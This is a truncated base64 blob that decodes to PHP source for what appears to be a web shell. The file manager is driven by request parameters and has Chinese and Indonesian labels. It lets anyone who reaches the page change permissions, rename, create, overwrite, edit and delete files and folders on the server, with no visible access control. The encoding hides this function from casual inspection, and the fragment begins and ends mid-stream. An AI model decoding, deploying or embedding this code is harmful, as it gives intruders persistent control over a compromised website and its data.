l9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BW